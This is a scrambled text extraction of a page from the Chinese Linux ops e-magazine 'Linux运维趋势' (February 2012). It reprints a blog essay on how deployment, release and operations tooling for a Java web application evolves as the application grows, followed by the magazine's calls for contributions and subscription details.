给用户用了，要把一个 Java Web 应用发布上线，首先需要搭建运行的环境，相应的这个时候通常还要支持回滚，即应用发布失败后自动的回滚到前
运行的环境需要有 JDK、APPServer，在已经装好了 os 的机器上装上 JDK 和一版本的功能，也可以折腾到脚本里。
APPServer，开发好的 Java Web 应用可以用 maven 直接打成 war 或 ear，将
但如果只是为了修改个页面，就得这么折腾，显然还是麻烦了点（主要是
这个打好的包 scp 或其他方式到目标机器上，准备妥当，就差启动了。
经常重启，用户受不了）于是需要支持仅更新页面的发布方式，
，为了支持这
通常 APPServer 都带有启动脚本，在做好了上述准备后，直接运行启动脚种方式，通常就要求打出的 war/ear 是解开了的，这样才比较方便直接覆盖
本，通常就 OK 了（maybe 需要修改 appserver 的一些配置文件，例如修改监页面， “偷懒”
继续的本性，写些脚本，支持将需要发布的页面文件从 svn 或
听端口等）。 git 下载，然后打成一个 tgz 或其他压缩包，到目标服务器，
scp 解包覆盖完
成页面的更新（当然，对于编译 jsp 的运行方式这种发布方法就没法玩了）。
应用启动后，有一个问题需要解决，就是如何确认应用启动后成功与否，
对于 Java web 应用通常可以放一个 jsp 文件，在这个文件里做一些必要的经过这个阶段的折腾，就积累了两个脚本，一个用来发布应用包，一个用
检查，以确保应用启动是正常的，例如通常 Java web 应用会基于 spring 之来发布页面。
类的框架来写，为了确保 spring 的 BeanFactory 初始成功，可以在 jsp 文件里
每次发布应用包的时候都会有短暂的不可用，这样总折腾下去用户受不
去获取下 spring 里的 bean 调用下。
了（如果哪天这唯一的一台服务器挂掉的话，就更糟糕了）于是就把应用的
，
应用完成了启动后，这个阶段的工作就算完成了，这个阶段完成后积累机器数从一台变成两台，通常这里对应用是有些技术要求的，这篇 blog 中
了一个应用启动的脚本，用来启动应用服务器以及在启动完毕了后检验应只谈运维，通常情况下从部署在一台变成两台后，要做这些事：
用是否启动成功。
1、可能会增加一台机器用来部署 nginx/apache 来做负载均衡，这个规模
只要不是一个一次性的应用，就必然会涉及修改的问题，修改完了后就的情况下应该很少有会采用 lb 设备或 lvs 的（某些国企除外…）于是就得
，
得重新发布，对于 Java Web 应用，在修改完了后重新打应用的包，然后 scp 折腾下这台机器的环境等了；
覆盖到目标机器上，重启，就可完成修改，但显然，每次修改完代码后都这么

http://os.51cto.com

技巧
杂志订阅 : http://os.51cto.com/art/201011/233915.htm Tips

2、增加了一台应用的机器后，就得又来搭建一次应用的运行环境了，通通常继续发展下去，会出现一些新的状况，主要是会开始多元化，有了很
常这个时候“偷懒”的本性会发作，干脆折腾个脚本吧，来支持从另外一台多个应用，这个时候原来的 web 版应用运维系统就要支持多应用了，这里
运行的应用机器 clone 运行环境，做的更好点的话，就会把应用的运行环境主要会带来的问题是为了降低运维的复杂性，需要做一些通用性的工作，例
记录在某个地方、然后把应用运行需要的软件也放在某个地方（例如 yum），如通用的启动脚本等，这个时候会产生一些要求，例如统一的应用名等，另
这样，当要搭建应用的运行环境时，就可通过记录的信息以及 yum 源等直外会带来的问题就是开发、运维的人多了，这个时候权限上就需要有些控制
接完成运行环境的搭建。了，例如某些账号可以操作某些应用等，这个时候通常需要增加一套权限系
统，集成到之前的运维系统。
3、但这样还没完，为了避免发布的时候应用完全不能用，除了技术上要
做的那点事外，在发布应用时就会多加一步，就是要先发一台，再发另外一应用多了后，还会带来的问题是应用部署的规范性（同时也是为了降低
台，由于之前有发布脚本，通常这也不是问题，:)。运维的复杂性）因为每个应用可能都会有一些特殊的配置，
，这个时候最好
是能够通过搭建运行环境以及权限控制来保证一个应用部署后的目录控
经过这个阶段，就又积累了两个脚本，一个用来管理负载均衡的那台机
制。
器，另一个脚本用来搭建应用的运行环境。
经过上面的一些发展过程后，Java 应用的运维工作基本就可以比较自动
随着应用越来越受欢迎，通常应用的机器就得继续加了，这个时候对运
的去完成了，但通常其实应用运维除了上面的工作外，还有一件更重要的
维工作又会带来新的挑战，主要还是在发布上，这个时候应用部署在了一堆
事，就是保障应用的稳定，应用运维人员需要能够排查大部分的应用故障问
的机器上了，每次发布的时候手工输入一堆的机器地址来发布显然很麻烦，
题，而不是交由后面的开发人员来解决，通常这个时候需要一套自动的故障
于是需要有个地方来记录应用有哪些机器（还记得我们之前搞了个地方来
处理系统，感兴趣的同学可以参与下 facebook 的 FBAR。
记录应用的运行环境信息吧，可以放一起）除了要解决这个问题外，
，还需要
解决的一个问题是这个时候通常对应用的发布方式会有了多种要求，例如发展到更大后，还可能会碰到例如一个负载设备无法支撑整个网络的请
分批发布（先发 5 台，再发 10 台，再全部发，或一半一半发等）更高级的话
，求，需要划分 vlan，这个时候在做应用机器的扩容时就需要考虑 vlan 因素
会有 beta 发布、灰度发布等要求，这个具体可以见 facebook 的大牛 @ 魏小了，还有可能会碰到机器利用率不够高，需要引入虚拟机，更高级的就是引
亮写的《代码和产品发布的几种方式》这个时候显然，
，之前写的那个简单入弹性计算，这些对运维体系都会产生较大的冲击，:)。
的发布脚本就无法支持了，于是得搞个更为复杂的脚本来支持这多种的发
从上面对一个 Java 应用运维的演变描述可以看到，大方向上来说是朝自
布方式（有些还需要应用架构上做配合改造才能实现）做的更好的就是提
，
动化、web 化、智能化发展，但最最重要的都是如何和现有运行体系无缝的
供一个 web 版本的发布系统，来更为方便的进行发布以及发布过程的管理。
结合，而且这里谈到的还仅仅是 Java 应用运维的工作（还没提到开发人员
经过这个阶段后，通常可以折腾出一个 web 版的应用运维系统了，包括其实也要仔细考虑自己写的产品的可运维性如何）而一个运维的体系还要
，
应用信息的登记（依赖的运行环境、运行的机器地址）应用的发布、
、页面的包括机房、网络、硬件、安全等，就更加的复杂和且需要体系化的考虑。
发布、增加应用的机器、下线应用的机器。
原文：
http://blog.bluedavy.com/?p=363

http://os.51cto.com

招募启事
最近人手不够，数次跳票，实在对不住诸位。为此，还要继续发招
募启事。帮忙方式包括：

1、推荐文章

无论是您在互联网上看到的好文章，还是您自己总结 / 整理的资
料；
无论是英文还是中文；
无论是入门的还是高端的，都欢迎推荐！本刊发布日期：
每个月的第二个星期五

推荐方式：
在新浪微博上 @51CTO 系统频道。您可以通过如下方式检查新刊发布：

2、投稿 1、电子邮件订阅：

如果您愿意与大家分享您技术经验的热诚，那么欢迎您的投稿！ 2、RSS 订阅：
http://www.51cto.com/php/rss.php?typeid=777
原创或译文均可，稿件在 51CTO 首发可领取稿酬：）
3、iPad 订阅：《读览天下》
在客户端中可以搜索下载新刊到本地阅读！
投稿信箱：
yangsai@51cto.com
本期杂志封面由 lazycai 制作
3、推广与意见

如果您喜欢我们的杂志，认为这本杂志对于您的工作有所帮助，请
向您的 Linux 好友、同事们推荐它！如果您觉得这份杂志还有什么地《Linux 运维趋势》是由 51CTO 系统频道策划、针对 Linux/Unix 系
方需要改进或补充，也希望您能够提出您的宝贵意见！统运维人员的一份电子杂志，内容从基础的技巧心得、实际操作案例
到中、高端的运维技术趋势与理念等均有覆盖。
反馈可至《Linux 运维趋势》新浪微群：
《Linux 运维趋势》是开放的非盈利性电子杂志，其中所有内容均收
http://q.weibo.com/121303
集整理自国内外互联网（包含 51CTO 系统频道本身的内容）。对于来
或在新浪微博自国内的内容，编辑都会事先征求原作者的许可（八卦，趣闻数字
@51CTO 系统频道栏目例外）。如果您认为本杂志的内容侵犯到了您的版权，可发信至
yangsai@51cto.com 进行投诉。

《Linux运维趋势》2012年2月号：运维安全准则

More Related Content

Viewers also liked

Similar to 《Linux运维趋势》2012年2月号：运维安全准则

《Linux运维趋势》2012年2月号：运维安全准则